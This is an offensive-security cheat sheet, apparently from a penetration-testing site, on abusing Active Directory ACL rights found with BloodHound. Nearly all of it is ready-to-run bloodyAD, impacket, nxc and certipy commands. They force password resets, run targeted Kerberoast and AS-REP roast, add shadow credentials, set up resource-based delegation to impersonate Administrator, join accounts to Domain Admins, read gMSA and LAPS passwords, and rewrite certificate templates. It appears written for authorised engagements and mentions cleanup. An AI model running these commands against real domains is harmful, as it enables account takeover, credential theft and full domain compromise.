ACL Abuse
Sections ACL Abuse
When BloodHound shows you write access on an object, this file is the recipe book. bloodyAD covers most of these in one command per edge.
DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
Before reading this file, run bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --bh and load the result into BloodHound. It shows you every object you can touch and the exact rights you have.
i. GenericAll / GenericWrite - pick your weapon
These two grant the most flexibility. Several attack paths from each, pick the one that fits the target.
Target is a USER with GenericAll/GenericWrite
a) Force password reset (you don’t even need to know the old password):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'
nxc smb $DC -u victim -p 'Pwned123!'
Loud (changes user’s actual password, victim notices), but instant takeover.
b) Targeted Kerberoast (no password reset needed):
## Set fake SPN
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim servicePrincipalName -v 'fake/svc'
## Roast it
impacket-GetUserSPNs -request -request-user victim -dc-ip $DC "$DOMAIN/$USER:$PASS" -outputfile roast.txt
## Remove the SPN
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim servicePrincipalName
## Crack with hashcat -m 13100, see [Kerberoasting](https://jinpwn.dev/cheatsheets/active-directory/ad03-kerberoasting/)
Stealthier - victim password unchanged.
c) Targeted ASREP-Roast (flip DONT_REQ_PREAUTH, roast, flip back):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add uac victim -f DONT_REQ_PREAUTH
impacket-GetNPUsers -dc-ip $DC -no-pass -usersfile <(echo victim) -format hashcat -outputfile asrep.txt
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove uac victim -f DONT_REQ_PREAUTH
## Crack with hashcat -m 18200
d) Shadow Credentials (best of all - no password change, no roast, instant auth):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add shadowCredentials victim
## Output: TGT.ccache (or .pfx if PKINIT fails)
export KRB5CCNAME=victim.ccache
## or with the pfx:
certipy auth -pfx victim.pfx -dc-ip $DC
## NT hash and TGT returned
DC must be Server 2016+ and AD CS must be enabled in the domain. To remove:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim
Target is a COMPUTER with GenericAll/GenericWrite
Same options as user, plus RBCD (much more powerful for computer objects):
## Create a computer account you control (default ms-DS-MachineAccountQuota=10)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add computer attackerpc 'AttackerP@ss'
## Add RBCD: attackerpc can impersonate any user TO victim
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'victim$' 'attackerpc$'
## Now request a service ticket as Administrator for victim:
impacket-getST -spn 'cifs/victim.corp.local' -impersonate Administrator \
"$DOMAIN/attackerpc\$:AttackerP@ss" -dc-ip $DC
## Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass victim.corp.local
Full RBCD treatment in Delegation .
Target is a GROUP with GenericAll/GenericWrite
Add yourself (or a controlled account) to the group:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'Domain Admins' $USER
## Or add a user you control:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'Domain Admins' attacker
## Verify:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'Domain Admins' --attr member
## Remove cleanly later:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove groupMember 'Domain Admins' attacker
A user’s group membership is in their Kerberos ticket. Add them to a privileged group, they need a NEW TGT before privileges apply. Logout/login on a Windows host, or destroy and re-request the TGT on Linux:
kdestroy
impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC
ii. WriteOwner
You can take ownership of the target. Then once you own it, you have implicit WriteDacl, which lets you grant yourself GenericAll, which chains to section i.
## Take ownership
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set owner victim $USER
## Grant yourself GenericAll
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER
## Now use any technique from section i
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'
With only WRITE_OWNER right (and no SeRestorePrivilege), you can only set yourself as the new owner. You can’t transfer ownership to someone else. bloodyAD enforces this automatically.
iii. WriteDacl
You can modify the object’s ACL. Grant yourself GenericAll directly, no ownership change needed:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER
## Now you have full control, use any technique from section i
iv. ForceChangePassword (User-Force-Change-Password extended right)
A narrower version of GenericAll - only password reset, no other attribute writes:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'
Same outcome as section i(a) but more limited surface. Use when GenericAll isn’t available.
v. AddMember (Self / Add-Member extended right)
You can add ONLY yourself to a group, not arbitrary members:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'TargetGroup' $USER
bloodyAD’s add groupMember works with either AddMember or GenericAll on the group, transparently.
vi. ReadGMSAPassword
You can read the gMSA’s password blob. Decode it to get the NT hash, then PtH:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'gmsaaccount$' --attr msDS-ManagedPassword
## Or use nxc's purpose-built module:
nxc ldap $DC -u $USER -p $PASS --gmsa
--gmsa automatically decodes the password blob and outputs the NTLM hash. Use the hash directly:
nxc smb $DC -u 'gmsaaccount$' -H $NTHASH
vii. ReadLAPSPassword
Local Administrator password for a specific computer. Two attribute names depending on LAPS version:
Legacy LAPS:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'COMPUTER$' --attr ms-Mcs-AdmPwd
LAPS v2 (Windows LAPS, 2023+):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'COMPUTER$' --attr msLAPS-Password
## When encrypted (default in v2), use nxc:
nxc ldap $DC -u $USER -p $PASS --laps
--laps handles decryption when possible.
viii. AllowedToAct (msDS-AllowedToActOnBehalfOfOtherIdentity)
When you can write this attribute on a target computer, you’ve configured Resource-Based Constrained Delegation. See Delegation for full RBCD chain. Quick form:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'targetcomputer$' 'attackerpc$'
ix. AllExtendedRights / All Extended
Includes ForceChangePassword + ReadLAPSPassword + ReadGMSAPassword + several others depending on object type. Treat as a superset of those individual rights, use whichever applies.
x. WriteSPN (write to servicePrincipalName)
Same as targeted Kerberoast from section i(b). The fact that you can write servicePrincipalName is what enables the attack.
xi. WriteAccountRestrictions (write to userAccountControl)
Same as targeted ASREP-Roast from section i(c). Flip DONT_REQ_PREAUTH.
xii. ESC4: WriteDacl on a certificate template
Modify the template to be ESC1-vulnerable (set ENROLLEE_SUPPLIES_SUBJECT, enable client auth EKU, grant yourself enroll right), then exploit as ESC1. Cleanest with certipy:
## Backup the original template config first:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -save-old
## Make it ESC1-vulnerable (overwrites template):
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -write-default-configuration
## Enroll as Administrator:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target ca.$DOMAIN -ca 'CORP-CA' -template VulnTemplate -upn Administrator@$DOMAIN
## Restore the template:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -configuration old.json
Full ADCS workflow in ADCS ESC1-16 .
xiii. Owns edge (Owner of object)
BloodHound’s Owns edge means you are the security descriptor owner. Implicit WriteDacl. Same path as section iii.
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER
xiv. Indirect paths: chain through groups
If a group has GenericAll on your target, and you have AddMember (or GenericAll) on that group, chain:
## Step 1: Add yourself to the privileged group
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'IT_Helpdesk' $USER
## Step 2: Re-request your TGT to load new group membership
kdestroy && impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC
## Step 3: Now you inherit IT_Helpdesk's rights, abuse target
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwn3d!'
BloodHound shows these chains automatically with the Shortest Path query.
xv. Cleanup checklist
Every modification should be reversible. Track each change:
## Track changes for cleanup
echo "Added genericAll on victim to $USER at $(date)" >> /tmp/ad-changes.log
## Reverse the common ones:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove genericAll victim $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove groupMember 'Domain Admins' attacker
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove rbcd 'victim$' 'attackerpc$'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove object 'attackerpc$'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove uac victim -f DONT_REQ_PREAUTH
Once you reset a user’s password, you can’t restore the old one (you don’t have it). Document the user, time, and impact. On real engagements, password resets often require client notification.
xvi. Quick reference
| Edge | bloodyAD command | What you get |
|---|---|---|
| GenericAll on user | set password TARGET NEWPASS | takeover (loud) |
| GenericAll on user | add shadowCredentials TARGET | NT hash + TGT (quiet) |
| GenericAll on user | set object T servicePrincipalName -v fake/x + roast | NT hash via crack |
| GenericAll on computer | add rbcd T attackerpc$ + getST | SYSTEM on target |
| GenericAll on group | add groupMember GROUP USER | group inheritance |
| WriteOwner | set owner T USER then add genericAll | chain to GenericAll |
| WriteDacl | add genericAll T USER | chain to GenericAll |
| ForceChangePassword | set password T NEW | takeover |
| AddMember | add groupMember GROUP USER | group inheritance |
| ReadGMSAPassword | get object T --attr msDS-ManagedPassword or nxc --gmsa | NT hash |
| ReadLAPSPassword | get object T --attr msLAPS-Password or nxc --laps | local admin password |
| WriteSPN | set object T servicePrincipalName -v fake/x + roast | NT hash |
| AllowedToAct | add rbcd T attackerpc$ | RBCD chain |
| Owns | add genericAll T USER (implicit WriteDacl) | chain to GenericAll |
| ESC4 (template WriteDacl) | certipy template ... -write-default-configuration | cert as any user |